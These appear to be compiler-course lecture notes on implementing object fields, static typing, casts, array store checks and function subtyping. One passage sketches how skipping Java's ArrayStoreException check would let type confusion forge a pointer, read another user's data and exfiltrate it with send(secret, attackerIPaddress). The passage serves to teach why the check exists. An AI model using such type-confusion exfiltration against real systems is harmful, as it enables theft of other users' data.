L18

Monday, November 23, 2009
10:22 PM

Implementing objects as in Javascript, Lua, 164 is expensive because object attributes are implemented as hashtable accesses:

```
x = { f=1 }
x.f --> x["f"] --> hashtable.get(x,"f")
```

How do you want to implement it better? A an efficient layout is to make attributed into fields of a struct. The above fragment in C:

```
struct foo { int f; int g } x;
x.g  -->  *(4 + address of x)  // one load instr
```

Suggest a compilation strategy to translate JavaScript program in this form.

- discover all fields in the program
- assign each field a unique position in a struct
- create a struct to represent all fields

```
struct oneBigStruct {
    Object* field1;
    Object* field2;
    …
}
```

- translate x["f"] to x.f (x is now a struct)

Problems with this naïve strategy?

1. Objects waste space (what if an object has only two fields)
2. How to handle computed fields? Ex: x[input()]

Solutions

Alternative 1. A smarter version of the naïve strategy.

- At each program point where an object {} is created, the compiler discovers all fields that may ever be placed into this object during the lifetime of this object. That is, it finds all puts and gets that may read/write to this object. This analysis must consider all possible executions paths (ie consider all possible inputs).
- Layout these fields densely in a struct. This struct is now the representation of the new object {}.
- Translate accesses `x["f"]` to `load offset`***`f`***`(x)`

This takes care of the problem 1. The solution is not ideal, though, because the analysis must be conservative, that is, it must not miss any field that may ever be put in the object, hence when not sure it must include the field. In the worst case, it may need to include all fields mentioned in the program.

Now problem 2 (computed fields).

- When the index is a variable whose value we don't know at compile time (it may depend on the input), then translate x[y] to

  - A runtime check whether the value of y is a field that is stored in the struct pointed to by x.
    - To this end, the struct needs to keep a pointer to a table that maps field names to offsets.
  - If the field is present, at offset o, execute load o(x)
  - If the field is not present, add the new field to x.
    - To this end, we need to attach to the struct a hashtable where we add these computed fields

  DRAW Figure.

Alternative 2. Optimization used in the Google V8 javascript interpreter.

See this link: http://code.google.com/apis/v8/design.html#prop_access

Alternative 3: Static types. Restrict what programs the programmer can write. Get better performance in return.

Recall dynamic type. It's the type of values that the program operates on. In our dynamically typed language, the value is in some way tagged with the type (the value can be examined at time and the value determined).

In case of primitive types, like int and string, the dynamic type is used to determine which operation to perform when say x + y is to be evaluated and whether the combination of the types of operands is legal.

In the setting of objects, the type will be the class of which the object is an instance. The class is a description of which fields and methods the object will contain.

Assume that we don't have inheritance. We'll add it soon.

How to translate objects? At runtime, each object has its class info attached, as in Python. What changes do we need to make?

1. make prototypes into explicit classes

   Before (in Lua, 164)

```
Object.new = lambda(self,o) {
    setmetatable(o, self)
    self.__index = self
    o
}
def Node   = Object :new({x=0,y=0})
```

Now (this is one way how we could extend the language)

```
class Node {
        def x = 0
        def y = 0
}
```

Compiler parses class Node and remembers that it has two fields, x and y, at offsets 0 and 4.

2. Creating a new object

before

```
def obj = Node:new({})
```

now we have a dedicated operator new, which create a new object of the given type. Internally, new will create a struct with x and y.

```
def obj = new Node
```

The compiler generates code that creates a struct with two fields, zx and y. Variable obj points to this struct.

3. accessing a field (we only allow obj.x, not obj[y], so one cannot compute the name of the field to be accessed)

Before

```
obj.x   // translated to obj["x"]
```

Now

```
obj.x
```

Oops, how do we translate obj.x? The variable obj could point to object of type Node or also to object of type Foo, defined with class Foo { def x }.

The program must work correctly whether dynamic type of obj is Node or Foo.

When we say that dynamic type of obj is T, we mean that the type of the value of the variable is T.

```
obj.x
```

Translates to

```
T = dynamicType(obj)
offset = OffsetTable[T][id_x]
*(x+offset)
```

- store T in the header of the struct created in new T

- Build the OffsetTable as you compile class definitions

Ask yourself: What's the runtime cost of obj.x? At least three loads. That's likely not cheaper than a hashtable access.

Can we do better? We could if some of the work done at runtime was done by the compiler at compile time. Let's try to reason, are some of these expressions evaluable before the program is executed? (This is the translation of obj.x)

```
T = dynamicType(obj)
offset = OffsetTable[T][id_x]
*(x+offset)
```

No, their evaluation must be delayed to runtime because obj could be of several dynamic types.

Alternative 4 (Static Types): The idea: make sure that the type of obj is always known at compile time. We can then "optimize"

```
T = dynamicType(obj)
offset = OffsetTable[T][id_x]
*(x+offset)
```

to

```
~~T = dynamicType(obj)~~
~~offset = OffsetTable[T][id_x]~~
*(x+n)
```

where *n* is the offset known to the compiler at compile time. (Once the compiler knows the type T, it knows where x is located in the object.)

But how can we always know the type of the object stored in a variable?

The idea is to restrict what values the variable is allowed to store.

If we somehow make sure that it always stores only objects of (dynamic) type T, then we can translate obj.x efficiently

We'll enforce this restriction by giving the variable a *static type* and then ensuring that we never write objects of other types into this variable.

Note that we will ensure that the variable contains values consistent with its type only when **writing** into its variable (of course).

When we **read** the values from the variable, we will be able to rely on the type invariant that they are of the dynamic type that is the same as the static type of the variable.

What do we need to add to the language:

1. Declare the static type of the variable

```
def x:Node
```

2. Check that assignments into the variable preserve the type invariant

    x = E

    the expression E must have the same static type as the variable x.

    How does the compiler know the static type of x? Recall the lecture where the uses of variable x in the AST were linked to definitions of the variable.

    How does the compiler know the type of E? By propagating types (typically bottom up) from leaves of the AST. For example, the type of a+b, where both a and b are int, is int. How about the type of

    obj.f.g ?

    To translate the access E.g, we need to know the type of obj.f. But we did not define the type of the field f! Currently, our type definitions are

```
class Node {
    def x = 0
    def y = 0
}
```

    We need to give static types also to fields in an object. This is another extension to the language.

```
class Node {
    def x:int = 0
    def y:Node = 0
}
```

    The point is that any memory location (whether it be a variable or a field in an object) will be given a static type so that we know, at compile time, what dynamic type have the values stored in them at runtime.

    Type checking of obj.f.g (at compile time)

    1) Look up the type, T_1, of variable obj
    2) Look up the type, T_2 , of the field f in T_1 . T_2 is the type of expression obj.f
    3) Look up the type, T_3 , of the field g in T_2 . T_3 is the type of expression obj.f.g

3. Type checking statements other than assignment

    Argument passing are analogous to assignments, from the actual arguments (expressions) and the formal arguments (variables). We extend the definitions of functions to type argumetns

    def foo(x:int, int:Node) { … }

    Return statement: we could check that the (static) type of return value is acceptable wherever the function call is used

```
def foo () { 1+2 }
def bar (x:Node) { bar(foo()) }  <-- type error
```

we however want to type check body of bar without having to look inside the body of foo (to make type checking faster). Therefore, we insist that the functions definitions

```
def foo ():int { ... }
def bar (x:Node) { bar(foo()) }
```

we can now type check the uses of foo() without looking insied the body of foo.

Adding inheritance.

Quite a few things change when we allow subclassing. Which programs will we consider legal and which we reject during static typing so that we can generate fast compiled code?

We presumably want to allow this program

```
class Node { def x:int }
class SubNode extends Node { def y:Node }
def o:Node = new SubNode
o.x
```

but adding this expression should be rejected by the static type checker

```
o.y
```

Why do we want to reject this expression? Because the compiler cannot confirm, by just looking at the static type of the variable o, whether the dynamic type of o will contain a field f.

To allow assignment o:Node = new SubNode, we need to redefine what compatible types mean. Assignment var = E is well-typed if staticType(E) is compatible with staticType(var). Type T2 is compatible with T1 if T2=T1 or T2 is a (immediate or transitive) subclass of T1.

This definition will reject this assignment

```
def a:SubClass = new Node
```

Find an expression that would go terribly wrong at runtime if this assignment had not been rejected by the static type checker? Answer:

```
a.y   <-- the problem: the dynamic type of a may not have field y
```

Memory Layout: the next question is how to layout fields in the classes Node and SubNode so that an expression obj.x can be efficiently compiled even when obj can store at runtime objects of dynamic type Node and SubNode. This is left as an exercise to the reader. The solution must allow translation of obj.f into a signle machine memory load instruction.

Runtime checks: Sometime is it useful to sidestep the restrictions of the type system. For example, what if the programmer knows that obj:Node actually is an object of dynamic type SubNode? To access the field y specific to SubNode, we could write this fragment

```
def a:Node = new SubNode
def b:SubNode = a  <-- type error
b.y
```

The second assignment is a type error because it would violate the crucial type compatibility invariant.

We need to add a cast

```
def b:SubNode = (SubNode) b
```

The static type of the expression (SubNode) E is SubNode. This is ensured at runtime: The cast is compiled into a runtime check

```
(T) E
      -->
if (dynamicType(E) not compatible with T) raise TypeError
E
```

Runtime checks for arrays.

In addition to static checks, arrays require subtle runtime checks. This subsection explains the key ideas. See also Joel's sections notes.

Let's start from a few examples from an AP study site. You need to understand whether these examples success or fail. If they fail, do they fail a static check or dynamic check? You also need to understand the language design decisions behind allowing/disallowing certain programs.

```
double[] A = new double[2];
A[0] = 1.0;
A[1] = 2.0;
Object B = A;
```

In the above example, we allow B=A because otherwise one could not easily build containers such as lists that store arrays: if Type[] could not be assigned to Object, one would need a List of Object's and a separate List of Object[]'s. Checks: The static type check for B=A succeeds because double[] is compatible with Object. There is no runtime type check associated with B=A.

```
double[] A = new double[2];
A[0] = 1.0;
A[1] = 2.0;
Object B = A;
String[] C = (String[])B;
```

This example illustrates what programs do with arrays stored in Object-typed variables: the program needs to cast the value with static type Object to a static type of Type[]. This cast performs a dynamic type check. If the test succeeds (does not throw an exception), the cast expression is guaranteed to produce a value that is compatible with the cast-to static type, in our case String[]. In the above example, the program fails this dynamic type check.

```
Superclass[] A = new Superclass[2];
A[0] = new Superclass(1);
A[1] = new Superclass(2);
Subclass[] B = (Subclass[])A;
```

Does the cast's dynamic check succeed or fail? To answer the question, ask yourself whether a successful cast would maintain the invariant that we need for type safety, which is that *an expression of a static type T is guaranteed never to evaluate to a value with dynamic type incompatible with T.* In this example, the expression that we want to consider is B[i]. Its static type is Subclass. What would be its dynamic type if the cast was allowed to succeed?

```
Subclass[] A = new Subclass[2];
A[0] = new Subclass(1);
A[1] = new Subclass(2);
Superclass[] B = A;
Subclass[] C = (Subclass[])B;
```

This example is an exercise for the reader. What static type checks are performed? What dynamic checks? Do they succeed?

```
int[] A = new int[2];
A[0] = 1;
A[1] = 2;
double[] B = (double[])A;
```

Another exercise:

```
class Bar { int b; }
class Foo extends Bar { int f; }
Foo[] A=new Foo[2]; A[0]=new Foo(); A[1]=new Foo();
Object X = A;
Bar B = A;
Foo[] C = (Foo[]) B;
Foo[] Y = (Foo[]) X;
```

Runtime check for E[E]=E. This example illustrates the need for a runtime check whenever we update an array element. If this check was omitted, an applet could read data that is not supposed to access. It could also install its own assembly code and run it. This example illustrates the former attack scenario.

```
class A { }
class B extends A { int i; }
class C extends A { D d; }
class D { int data; }

A[] a = new C[2];  // OK
a = c;             // OK
B bobj = new B();  // OK
bobj.i = 1000;     // OK
a[1] = new B();    // runtime check failure
                   // (ArrayStoreException)

// if this runtime check was ignored,
// the following exploit is allowed
//
// Note: C[1].d is the same memory location as bobj.i !

D dobj = c[1].d;
```

```
// dobj now points to an memory address 1000

// Of course, we can make dobj.d point anywhere
// So we have manufactured an pointer to a memory
// location of our choosing.

// now we perform the exploit

int secret = dobj.data
send(secret,attackerIPaddress)

// reads the content of memory location 1008
// assuming the object header is 8 bytes

// The location at the address 1008 may store
// data of some other thread, which might
// be serving a banking session of another user.
// The location 1008 may store the credit card
// number, for example.
```

See the section notes for more information.

```
class A { int a; }
class B extends A { int b; }
A[] a = new A[2];
B[] b = new B[2];
a[1]  = new A();
a = b;
a[1]  = new A();
```

Exercise. For each check, write a stmt that could go wrong if check was ignored:

```
class A { int a; }
class B extends A { int b; }
A[] a = new A[2];
B[] b = new B[2];

a[1] = b[1];    b[1] = a[1];
b = (B[]) a;    a = (B[]) a;
b = a;          a = b;
```

Subtyping of Functions

In languages where functions are first-class value (for instance: 164, Scala, ML, Haskell, but not Java), subtyping is also defined on functions. A function *f* is a subtype of a function *g* when one can safely replace a call to *g* by a call to *f*. This is the substitution principle of subtyping.

Let's pick *f*: A -> B (a function taking one argument of type A and returning a B)
and *g*: C -> D (a function taking one argument of type C and returning a D)

It is safe to replace *g* by *f* (i.e. *f* is a subtype of *g*)

```
def x: C
def y: D
```

```
    y = g(x)
```
by
```
    def x: C
    def y: D
    y = f(x)
```
if C is a subtype of A and B is a subtype of D.

We say that functions are **contravariant** in their arguments and **covariant** in their result type.

Final note. Static type system rejects correct programs

Static type checking rejects correct programs, ie programs that would run without a (runtime) type error if we performed only runtime type checks. The static type system is more restrictive because it insists that a variable contains a value of dynamic type compatible with the static type of the variable. But if the variable's value is never used, who cares what value the variable stores? The dynamic type system checks the type only when the operation is actually performed.

Exercise: find a program rejected by the type system but correct under dynamic type checking.